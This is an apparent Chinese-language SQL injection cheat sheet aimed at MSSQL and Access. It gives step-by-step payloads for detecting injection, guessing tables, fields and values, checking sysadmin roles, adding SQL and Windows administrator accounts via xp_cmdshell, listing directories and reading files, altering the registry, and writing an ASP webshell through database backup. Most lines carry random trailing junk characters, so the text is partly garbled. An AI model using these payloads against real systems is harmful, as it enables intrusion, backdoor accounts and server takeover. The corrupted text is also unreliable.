1.判断是否有注入;and 1=1 ;and 1=2 sw &sF
2.初步判断是否是mssql ;and user>0 _'oy
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3.注入参数是字符'and [查询条件] and ''=' Afa{f}st
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' c5rQkDW
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5.判断数据库系统 rQ$A|GJ L
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;and (select count(*) from sysobjects)>0 mssql Jq`fD~(7
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;and (select count(*) from msysobjects)>0 access ,K6]Q|U@r
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ;h3*MR
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ;3sT>UB
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 .< vg[
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9.(1)猜字段的ascii值(access) /ADxHw`k
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 h?YjG^'9
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(2)猜字段的ascii值(mssql) A?|cJ"N
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 [I4FU7mpH
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10.测试权限结构(mssql) 7<^D7
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- M7Hk54U+t
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- O x$|ZEh
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #-HN[U?Gs
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- lE|T'?/
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -;`W"&`ss
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- nLfnikw&
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;and 1=(select IS_MEMBER('db_owner'));-- F<(xz=
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11.添加mssql和系统的帐户 C aJD*
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;exec master.dbo.sp_addlogin username;-- QT&{M
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;exec master.dbo.sp_password null,username,password;-- #=.h:_9
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ,m b3H
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;exec master.dbo.xp_cmdshell 'net user username password c\b>4 &n
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- %<muVRkB\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- :A{-^qd(
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- TQ2Tt"
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12.(1)遍历目录 +Ae.>%}
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;create table dirs(paths varchar(100), id int) er#=xqUY
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 1a!h&!$9
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;and (select top 1 paths from dirs)>0 L
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) B&$89]gs|
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- l&A`
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 :gVjBF2
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 `3:%F>
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 C/Z"W@7#;
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13.mssql中的存储过程 G9[-|[j^N
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xp_regenumvalues 注册表根键, 子键 )AoFd>
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !jW32$YTR
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xp_regread 根键,子键,键值名 <<1oc{i
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g3XAs@
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xp_regwrite 根键,子键, 值名, 值类型, 值 z>:7}=H0
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ka3Z5
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xp_regdeletevalue 根键,子键,值名 "/fs%F
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 j#f&!&G5<&
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %}!}2s.A
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14.mssql的backup创建webshell F/SsiUBS
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use model '>Y
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create table cmd(str image); 8!GLw-kb
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insert into cmd(str) values (''); ef;L|b%pp
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backup database model to disk='c:\l.asp'; Ne7{{1
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15.mssql内置函数 k)V%.Eobf
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;and (select @@version)>0 获得Windows的版本号 [B3aRi0AQ
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa PX2k,%
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;and (select user_name())>0 爆当前系统的连接用户 x,gE$dNzy
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;and (select db_name())>0 得到当前连接的数据库 j(C
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16.简洁的webshell 'Q>z**
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use model Y;F
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create table cmd(str image); pptM&Y
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insert into cmd(str) values (''); ]Y&)98
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backup database model to disk='g:\wwwtest\l.asp';